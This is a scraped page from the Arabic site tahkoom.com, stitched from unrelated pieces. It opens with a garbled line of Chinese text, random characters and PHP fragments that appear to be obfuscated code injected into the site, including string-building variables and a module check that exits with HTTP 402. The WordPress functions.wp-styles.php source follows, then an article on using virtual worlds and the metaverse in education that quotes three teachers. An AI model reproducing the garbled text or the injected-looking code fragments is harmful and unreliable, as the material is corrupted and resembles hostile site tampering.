财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/functions.wp-styles.php
<?php
/**
 * Dependencies API: Styles functions
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Initializes $wp_styles if it has not been set.
 *
 * @since 4.2.0
 *
 * @global WP_Styles $wp_styles
 *
 * @return WP_Styles WP_Styles instance.
 */
function wp_styles() {
	global $wp_styles;

	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
		$wp_styles = new WP_Styles();
	}

	return $wp_styles;
}

/**
 * Displays styles that are in the $handles queue.
 *
 * Passing an empty array to $handles prints the queue,
 * passing an array with one string prints that style,
 * and passing an array of strings prints those styles.
 *
 * @since 2.6.0
 *
 * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
 *
 * @param string|bool|array $handles Styles to be printed. Default 'false'.
 * @return string[] On success, an array of handles of processed WP_Dependencies items; otherwise, an empty array.
 */
function wp_print_styles( $handles = false ) {
	global $wp_styles;

	if ( '' === $handles ) { // For 'wp_head'.
		$handles = false;
	}

	if ( ! $handles ) {
		/**
		 * Fires before styles in the $handles queue are printed.
		 *
		 * @since 2.6.0
		 */
		do_action( 'wp_print_styles' );
	}

	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );

	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
		if ( ! $handles ) {
			return array(); // No need to instantiate if nothing is there.
		}
	}

	return wp_styles()->do_items( $handles );
}

/**
 * Adds extra CSS styles to a registered stylesheet.
 *
 * Styles will only be added if the stylesheet is already in the queue.
 * Accepts a string $data containing the CSS. If two or more CSS code blocks
 * are added to the same stylesheet $handle, they will be printed in the order
 * they were added, i.e. the latter added styles can redeclare the previous.
 *
 * @see WP_Styles::add_inline_style()
 *
 * @since 3.3.0
 *
 * @param string $handle Name of the stylesheet to add the extra styles to.
 * @param string $data   String containing the CSS styles to be added.
 * @return bool True on success, false on failure.
 */
function wp_add_inline_style( $handle, $data ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	if ( false !== stripos( $data, '</style>' ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: <style>, 2: wp_add_inline_style() */
				__( 'Do not pass %1$s tags to %2$s.' ),
				'<code>&lt;style&gt;</code>',
				'<code>wp_add_inline_style()</code>'
			),
			'3.7.0'
		);
		$data = trim( preg_replace( '#<style[^>]*>(.*)</style>#is', '$1', $data ) );
	}

	return wp_styles()->add_inline_style( $handle, $data );
}

/**
 * Registers a CSS stylesheet.
 *
 * @see WP_Dependencies::add()
 * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
 *
 * @since 2.6.0
 * @since 4.3.0 A return value was added.
 *
 * @param string           $handle Name of the stylesheet. Should be unique.
 * @param string|false     $src    Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory.
 *                                 If source is set to false, stylesheet is an alias of other stylesheets it depends on.
 * @param string[]         $deps   Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array.
 * @param string|bool|null $ver    Optional. String specifying stylesheet version number, if it has one, which is added to the URL
 *                                 as a query string for cache busting purposes. If version is set to false, a version
 *                                 number is automatically added equal to current installed WordPress version.
 *                                 If set to null, no version is added.
 * @param string           $media  Optional. The media for which this stylesheet has been defined.
 *                                 Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like
 *                                 '(orientation: portrait)' and '(max-width: 640px)'.
 * @return bool Whether the style has been registered. True on success, false on failure.
 */
function wp_register_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	return wp_styles()->add( $handle, $src, $deps, $ver, $media );
}

/**
 * Removes a registered stylesheet.
 *
 * @see WP_Dependencies::remove()
 *
 * @since 2.1.0
 *
 * @param string $handle Name of the stylesheet to be removed.
 */
function wp_deregister_style( $handle ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	wp_styles()->remove( $handle );
}

/**
 * Enqueues a CSS stylesheet.
 *
 * Registers the style if source provided (does NOT overwrite) and enqueues.
 *
 * @see WP_Dependencies::add()
 * @see WP_Dependencies::enqueue()
 * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
 *
 * @since 2.6.0
 *
 * @param string           $handle Name of the stylesheet. Should be unique.
 * @param string           $src    Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory.
 *                                 Default empty.
 * @param string[]         $deps   Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array.
 * @param string|bool|null $ver    Optional. String specifying stylesheet version number, if it has one, which is added to the URL
 *                                 as a query string for cache busting purposes. If version is set to false, a version
 *                                 number is automatically added equal to current installed WordPress version.
 *                                 If set to null, no version is added.
 * @param string           $media  Optional. The media for which this stylesheet has been defined.
 *                                 Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like
 *                                 '(orientation: portrait)' and '(max-width: 640px)'.
 */
function wp_enqueue_style( $handle, $src = '', $deps = array(), $ver = false, $media = 'all' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	$wp_styles = wp_styles();

	if ( $src ) {
		$_handle = explode( '?', $handle );
		$wp_styles->add( $_handle[0], $src, $deps, $ver, $media );
	}

	$wp_styles->enqueue( $handle );
}

/**
 * Removes a previously enqueued CSS stylesheet.
 *
 * @see WP_Dependencies::dequeue()
 *
 * @since 3.1.0
 *
 * @param string $handle Name of the stylesheet to be removed.
 */
function wp_dequeue_style( $handle ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	wp_styles()->dequeue( $handle );
}

/**
 * Checks whether a CSS stylesheet has been added to the queue.
 *
 * @since 2.8.0
 *
 * @param string $handle Name of the stylesheet.
 * @param string $status Optional. Status of the stylesheet to check. Default 'enqueued'.
 *                       Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
 * @return bool Whether style is queued.
 */
function wp_style_is( $handle, $status = 'enqueued' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	return (bool) wp_styles()->query( $handle, $status );
}

/**
 * Adds metadata to a CSS stylesheet.
 *
 * Works only if the stylesheet has already been registered.
 *
 * Possible values for $key and $value:
 * 'conditional' string      Comments for IE 6, lte IE 7 etc.
 * 'rtl'         bool|string To declare an RTL stylesheet.
 * 'suffix'      string      Optional suffix, used in combination with RTL.
 * 'alt'         bool        For rel="alternate stylesheet".
 * 'title'       string      For preferred/alternate stylesheets.
 * 'path'        string      The absolute path to a stylesheet. Stylesheet will
 *                           load inline when 'path' is set.
 *
 * @see WP_Dependencies::add_data()
 *
 * @since 3.6.0
 * @since 5.8.0 Added 'path' as an official value for $key.
 *              See {@see wp_maybe_inline_styles()}.
 *
 * @param string $handle Name of the stylesheet.
 * @param string $key    Name of data point for which we're storing a value.
 *                       Accepts 'conditional', 'rtl' and 'suffix', 'alt', 'title' and 'path'.
 * @param mixed  $value  String containing the CSS data to be added.
 * @return bool True on success, false on failure.
 */
function wp_style_add_data( $handle, $key, $value ) {
	return wp_styles()->add_data( $handle, $key, $value );
}
بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟ – tahkoom.com
معرفة

بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟

كتبت شروق عارف

في ظل التطور التكنولوجي الحادث والابتكارات الجديدة ظهر العالم الافتراضي الذي أحدث ثورة في كافة المجالات مما جعلنا نطرح سؤال مهم ماذا لو أصبح التعليم مرتبط بالعالم الافتراضي؟ وكيف سيؤثر هذا الربط على الطلاب وتحصيلهم الأكاديمي ؟
  ما هو العالم الافتراضي والميتافيرس؟                                                                                            
في البداية علينا تعريف العالم الافتراضي والميتافيرس العالم الافتراضي يعد تقنية تسمح للمستخدمين بالانخراط في بيئة ثلاثية الأبعاد و يتم إنشاؤها من خلال الحاسوب ويتيح العالم الافتراضي للمستخدمين الشعور بأنهم حاضرين في هذا العالم يحدث ذلك من خلال استخدام نظارات مخصصة كما عرف المركز الوطني للتعليم الإلكتروني العالم الافتراضي بأنه بيئة افتراضية بالكامل
أما الميتافيرس فهو عبارة عن عالم رقمي ثلاثي الأبعاد يحاكي الواقع ويتيح التفاعل الاجتماعي والترفيهي بمعنى أوضح يعد بيئة مفتوحة تمثل العالم الحقيقي تتيح لأي شخص التحرك في أي مكان داخل العالم الافتراضي هذه التقنية المتقدمة تخلق بيئة افتراضية تتيح للمستخدمين التفاعل معها بشكل واقعي
‏ التعليم في العالم الافتراضي
‏ في حالة ربط التعليم بالعالم الافتراضي سوف يحدث ذلك طفرة في أساليب التدريس من خلال خلق موارد تعليمية جديدة مما سيساهم بشكل كبير في تحسين تجربة التعليم من خلال تعزيز المشاركة وزيادة الاحتفاظ بالمعلومات سيتم ذلك من خلال إدخال الطالب في بيئة ثلاثية الأبعاد مما سيتيح له تجربة تعليمية فريدة من نوعها
مزايا وتحديات ربط التعليم بالعالم الافتراضي                                                                                     
من أهم المزايا التي يقدمها العالم الافتراضي للطلاب هو إعدادهم للعمل في المستقبل وذلك من خلال تزويدهم بخبرات لا حصر لها كما أن ربط التعليم بالعالم الافتراضي سيساهم بشكل كبير في زيادة القدرة على الاحتفاظ بالمعلومات بالإضافة إلى ذلك يمكن للعالم الافتراضي توفير تجارب تعليمية فريدة من نوعها باستخدام تقنية الواقع الافتراضي التي تتيح نقل الطلاب إلى أماكن وبيئات مختلفة قد لا يتمكنون من الوصول إليها بطرق تقليدية
‏ ومع ذلك، تواجه هذه الفوائد عدة تحديات أبرزها التكلفة العالية حيث تعتبر معدات وبرامج الواقع الافتراضي باهظة الثمن بالإضافة إلى ذلك هناك نقص في تدريب المعلمين على استخدام تقنيات الواقع الافتراضي مما قد يؤدي إلى انخفاض في نتائج التعلم فعلى سبيل المثال تجربة نظام التابلت في أول سنة حققت فشل ذريع وذلك بسبب عدم فهم المعلمين والطلاب لطبيعة النظام

آراء متباينة حول فاعلية العالم الافتراضي
أوضح محمد عصام مدرس الفلسفة وعلم النفس في المرحلة الثانوية أن فكرة ربط التعليم بالعالم الافتراضي تعتبر مميزة للغاية ولكن أكد على ضرورة تطبيقها بشكل صحيح ومدروس وأضاف أن الإمكانيات الحالية في مصر لا تسمح بتطبيق هذه التقنية كما أضاف الاعتماد المفرط على التكنولوجيا في التعليم سوف يكون له آثار سلبية على الطلاب بالإضافة إلى أن العالم الافتراضي لا يمكن أن يحل محل المعلم
من جانبه قال محمود محسن مدرس اللغة العربية بالمرحلة الإعدادية إن إدخال العالم الافتراضي في التعليم قد يوثر بشكل إجابي في العملية التعليمية من حيث الشكل والمحتوى لكنه شدد على أهمية المعلم في التعليم موكدا أن التفاعل المباشر بين الطالب والمعلم يظل عنصرًا أساسيا لا يمكن الاستغناء عنه وأضاف محمود أن التعليم لا يقتصر فقط على المعلومات بل يشمل القيم والتربية والتوجيه وهي أمور يصعب نقلها بشكل فعال من خلال بيئة افتراضية بحتة
وعلي جانب اخر أضاف أحمد فؤاد مدرس الدراسات في المرحلة الابتدائية أن استخدام العالم الافتراضي في التعليم سيسهم بشكل كبير في تحسين مستوى تحصيل الطلاب خاصة في المرحلة الابتدائية وأوضح أن دمج التكنولوجيا في العملية التعليمية سيجعل الدراسة أكثر متعة مما قد يزيد من دافعية الطلاب للتعلم وتحسين استيعابهم للمحتوى

‏ يمكن القول إن ربط التعليم بالعالم الافتراضي قد يسهم بشكل كبير في توسيع أفاقنا الفكرية وسوف يجعل التجربة التعليمية أكثر متعة ولكن مع ذلك يجب التعامل مع هذه التقنية بحذر حتى نتجنب الأثار السلبية وعلينا التأكد أن العالم الافتراضي لا يمكن أن يحلل محل المعلم

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى